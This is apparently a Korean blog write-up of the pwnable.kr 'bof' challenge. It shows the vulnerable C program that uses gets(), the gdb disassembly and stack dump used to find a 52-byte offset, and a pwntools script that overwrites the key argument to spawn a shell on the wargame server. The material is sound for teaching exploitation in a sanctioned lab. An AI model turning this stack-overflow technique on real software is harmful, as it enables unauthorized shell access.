풀이
cafebabe를 babecafe로 봐서 삽질..
이번 문제는 간단한 32bit bof 문제다.
다음은 bof.c의 코드이다.
1 #include <stdio.h>
2 #include <string.h>
3 #include <stdlib.h>
4 void func(int key){
5 char overflowme[32];
6 printf("overflow me : ");
7 gets(overflowme); // smash me!
8 if(key == 0xcafebabe){
9 system("/bin/sh");
10 }
11 else{
12 printf("Nah..\n");
13 }
14 }
15 int main(int argc, char* argv[]){
16 func(0xdeadbeef);
17 return 0;
18 }
func 함수의 인자로 0xdeadbeef가 전달된다.
func 함수에서는 32칸 overflowme 배열이 선언되고 gets로 값을 받는다. 이 때, gets 함수로 인해 overflow가 발생한다.
if 문에서 key 값이 0xcafebabe면 쉘이 실행되어 flag를 얻을 수 있을 거 같다.
이제 코드의 동작을 알았으니, gdb로 열어보자.
main은 스킵하고, func 함수만 알아보자.
Dump of assembler code for function func:
0x5655562c <+0>: push ebp
0x5655562d <+1>: mov ebp,esp
0x5655562f <+3>: sub esp,0x48
0x56555632 <+6>: mov eax,gs:0x14
0x56555638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x5655563b <+15>: xor eax,eax
0x5655563d <+17>: mov DWORD PTR [esp],0x78c
0x56555644 <+24>: call 0x56555645 <func+25>
0x56555649 <+29>: lea eax,[ebp-0x2c]
0x5655564c <+32>: mov DWORD PTR [esp],eax
0x5655564f <+35>: call 0x56555650 <func+36>
0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x5655565b <+47>: jne 0x5655566b <func+63>
0x5655565d <+49>: mov DWORD PTR [esp],0x79b
0x56555664 <+56>: call 0x56555665 <func+57>
0x56555669 <+61>: jmp 0x56555677 <func+75>
0x5655566b <+63>: mov DWORD PTR [esp],0x7a3
0x56555672 <+70>: call 0x56555673 <func+71>
0x56555677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x5655567a <+78>: xor eax,DWORD PTR gs:0x14
0x56555681 <+85>: je 0x56555688 <func+92>
0x56555683 <+87>: call 0x56555684 <func+88>
0x56555688 <+92>: leave
0x56555689 <+93>: ret
End of assembler dump.
우리가 알아야 할 부분은 바로 여기다.
0x56555649 <+29>: lea eax,[ebp-0x2c]
0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
gets로는 ebp-0x2c 위치에 입력받고, 비교할 값인 0xcafebabe는 ebp+0x8에 위치해있다.
gdb-peda$ x/16x $ebp-0x2c
0xffffd5fc: 0x41414141 0x56556f00 0xf7fac000 0x00000001
0xffffd60c: 0x5655549d 0xf7fac3fc 0x00040000 0x56556ff4
0xffffd61c: 0xa99bfc00 0x56556ff4 0xf7fac000 0xffffd648
0xffffd62c: 0x5655569f 0xdeadbeef 0x00000000 0x565556b9
스택을 보면 바로 알 수 있듯이, 입력값과 비교 값이 52칸 떨어져 있다! 바로 페이로드를 짜보자.
값들의 거리(52byte) + "\xbe\xba\xfe\xca"(4byte)이다.
1 from pwn import *
2
3 p = remote('pwnable.kr', 9000)
4
5 payload = "A"*52 + '\xbe\xba\xfe\xca'
6 p.sendline(payload)
7
8 p.interactive()
'Wargame > pwnable.kr' 카테고리의 다른 글
[Pwnable.kr] random 풀이 (1pt) (0) | 2020.07.19 |
---|---|
[Pwnable.kr] passcode 풀이 (10pt) (0) | 2020.07.19 |
[Pwnable.kr] flag 풀이 (7pt) (0) | 2020.07.19 |
[Pwnable.kr] collision 풀이 (3pt) (0) | 2020.07.18 |
[Pwnable.kr] fd 풀이 (1pt) (0) | 2020.07.18 |